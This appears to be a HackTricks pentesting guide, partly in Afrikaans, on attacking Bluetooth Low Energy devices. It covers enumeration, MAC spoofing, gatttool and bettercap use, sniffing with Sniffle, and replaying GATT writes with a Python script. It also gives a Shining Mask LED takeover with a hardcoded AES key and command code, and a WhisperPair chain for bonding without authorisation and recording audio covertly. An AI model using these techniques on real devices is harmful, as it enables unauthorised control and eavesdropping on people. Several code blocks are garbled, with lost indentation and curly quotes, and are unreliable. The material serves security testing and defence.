Pentesting BLE - Bluetooth Low Energy

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Inleiding

Beskikbaar sedert die Bluetooth 4.0-spesifikasie, gebruik BLE slegs 40 kanale wat die reeks 2400 tot 2483.5 MHz dek. In teenstelling gebruik tradisionele Bluetooth 79 kanale in daardie selfde reeks.

BLE-toestelle kommunikeer deur advertising packets (beacons) te stuur; hierdie pakkette verkondig die bestaan van die BLE-toestel aan ander nabygeleë toestelle. Hierdie bakens stuur soms ook data.

Die luistertoestel, ook ’n sentrale toestel genoem, kan op ’n advertensiepakket reageer met ’n SCAN request wat spesifiek aan die adverterende toestel gestuur word. Die response op daardie scan gebruik dieselfde struktuur as die advertising pakket met bykomende inligting wat nie op die aanvanklike advertensieversoek gepas het nie, soos die volledige toestelnaam.

Die preamble-byte sinkroniseer die frekwensie, terwyl die vier-byte access address ’n connection identifier is, wat in scenario’s gebruik word waar verskeie toestelle probeer om verbindings op dieselfde kanale te vestig. Vervolgens bevat die Protocol Data Unit (PDU) die advertising data. Daar is verskeie tipes PDU; die mees algemeen gebruikte is ADV_NONCONN_IND en ADV_IND. Toestelle gebruik die ADV_NONCONN_IND PDU-tipe as hulle don’t accept connections, en stuur slegs data in die advertensiepakket. Toestelle gebruik ADV_IND as hulle allow connections en stop sending advertising pakkette sodra ’n connection gevestig is.

GATT

Die Generic Attribute Profile (GATT) definieer hoe die toestel data moet formateer en oordra. Wanneer jy ’n BLE-toestel se aanvaloppervlakte ontleed, sal jy jou aandag dikwels op die GATT (of GATTs) konsentreer, want dit is hoe toestelfunksionaliteit geaktiveer word en hoe data gestoor, gegroepeer en gewysig word. Die GATT lys ’n toestel se characteristics, descriptors en services in ’n tabel as óf 16- of 32-bis waardes. ’n Characteristic is ’n data-waarde wat gestuur word tussen die sentrale toestel en peripheral. Hierdie characteristics kan descriptors hê wat bykomende inligting daaroor verskaf. Characteristics word dikwels in services gegroepeer as hulle verband hou met die uitvoering van ’n bepaalde aksie.

Enumerasie

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool maak dit moontlik om ’n connection met ’n ander toestel te establish, deur daardie toestel se characteristics te lys, en sy attributes te lees en te skryf.
GATTTool kan ’n interactive shell begin met die -I option:

GATTTool interaktiewe gebruik en voorbeelde ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing en aktief beheer van nie-gepareerde BLE-toestelle

Baie lae-koste BLE-perifere toestelle dwing nie pairing/bonding af nie. Sonder bonding word die Link Layer-enkripsie nooit aangeskakel nie, so ATT/GATT-verkeer is in cleartext. ’n Off-path sniffer kan die verbinding volg, GATT-operasies dekodeer om characteristic handles and values te leer, en enige nabygeleë host kan dan connect en replay daardie writes om die toestel te beheer.

Sniffing met Sniffle (CC26x2/CC1352)

Hardware: ’n Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) wat weer geflashed is met NCC Group’s Sniffle firmware.

Installeer Sniffle en sy Wireshark extcap op Linux:

Installeer Sniffle extcap (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

Flash Sonoff met Sniffle firmware (verseker dat jou seriële toestel ooreenstem, bv. /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Capture in Wireshark via die Sniffle extcap en pivot vinnig na state-changing writes deur te filter:

_ws.col.info contains "Sent Write Command"

Dit beklemtoon ATT Write Commands van die client; die handle en value map dikwels direk na toestelaksies (bv., write 0x01 na ’n buzzer/alert characteristic, 0x00 om te stop).

Sniffle CLI vinnige voorbeelde:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternatiewe sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin werk ook. Op klein/goedkoop Nordic dongles oorskryf jy gewoonlik die USB bootloader om die sniffer firmware te laai, dus hou jy óf ’n toegewyde sniffer dongle, óf benodig jy ’n J-Link/JTAG om die bootloader later te herstel.

Aktiewe beheer via GATT

Sodra jy ’n writable characteristic handle en value uit die sniffed traffic geïdentifiseer het, koppel as enige central en stuur dieselfde write:

  • Met Nordic nRF Connect for Desktop (BLE app):

  • Kies die nRF52/nRF52840 dongle, scan en koppel aan die target.

  • Blaai deur die GATT database, vind die target characteristic (het dikwels ’n friendly name, bv. Alert Level).

  • Voer ’n Write uit met die sniffed bytes (bv. 01 om te aktiveer, 00 om te stop).

  • Outomatiseer op Windows met ’n Nordic dongle gebruikend Python + blatann:

Python blatann write voorbeeld (Windows + Nordic dongle) ```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### Gevalstudie: oorname van BLE LED-maskers (Shining Mask-familie)

Goedkoop, white‑labeled BLE LED-maskers wat deur die “Shining Mask” app beheer word, aanvaar write control van enige nabygeleë central sonder pairing/bonding. Die app praat GATT met 'n command characteristic en 'n data characteristic; commands is AES‑ECB encrypted met 'n statiese sleutel hard‑coded in die app, terwyl grootmaat image data onversleuteld is.

Sleutel-UUIDs op hierdie toestelle:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

Ongeauthentiseerde GATT-writes
- Geen pairing/bonding benodig nie. Enige host kan verbind en write na die command UUID om helderheid te verander, images te kies, animasies te begin, ens.
- Algemene ops waargeneem: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).

Statiese-sleutel AES-opdragframing
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Bekende statiese sleutel (hex): 32672f7974ad43451d9c6c894a0e8764

Python-helper om 'n opdrag te enkripteer en te stuur (voorbeeld: stel maksimum helderheid):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

Beeldoplaaivloei

  • Na ’n encrypted DATS handshake word raw chunks unencrypted na die data characteristic …960a geskryf.
  • Packet format: [len][seq][payload]. Volgens empiriese waarnemings werk ongeveer ~100 bytes payload per packet betroubaar.
Minimale image upload pseudo-code ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to …960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

### Fast Pair (0xFE2C) Key-Based Pairing handtekening-omseiling (WhisperPair/CVE-2025-36911)

- **Discovery:** Scan BLE advertisements for **service UUID 0xFE2C** (Google Fast Pair). Devices in pairing mode typically expose a pairing badge; even out of pairing mode the Fast Pair service can respond to GATT.
- **Nie-invasiewe probe (handtekening-afdwingingstoets):**
1. Maak via GATT 'n **connect** na die Fast Pair-service en **read the Model ID**.
2. **Write a Key-Based Pairing (KBP) value without a signature**. If the peripheral accepts the unsigned KBP write, it is susceptible to the signature-bypass (WhisperPair/CVE-2025-36911). Rejection indicates patching; failures may be inconclusive if already paired.
- **BLE → BR/EDR pivot:** Stuur 'n **KBP Request** en parse die **encrypted response** om die teiken se **BR/EDR address** te herwin. Gebruik 'n klassieke bonding-oproep (bv. Android **`createBond(<BR/EDR address>)`**) om ongemagtigde pairing te voltooi. Waar ondersteund, lei die write van 'n **Account Key** tot 'n volgehoue assosiasie.
- **Post-bond mikrofoonmisbruik:** Na bonding, open **HFP** en begin **SCO audio** om 'n lewendige mikrofoonstroom te verkry vir luister/opname (bv. stoor as M4A). Hierdie ketting verander 'n unsigned KBP-aanvaarding in abritêre afgeleë klankopname sonder gebruikerstoestemming.
- **Hunt/detect:** Soek na Fast Pair GATT-verkeer gevolg onmiddellik deur klassieke bonding-pogings na die BR/EDR address wat in KBP teruggestuur is, en na KBP-writes wat 'n signature ontbreek. Afdwing van signature-validasie op KBP en die versoek vir gebruiker-bevestigde pairing breek die ketting.

## Operational notes

- Prefer Sonoff+Sniffle on Linux for robust channel hopping and connection following. Keep a spare Nordic sniffer as a backup.
- Without pairing/bonding, any nearby attacker can observe writes and replay/craft their own to unauthenticated writable characteristics.

## References

- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>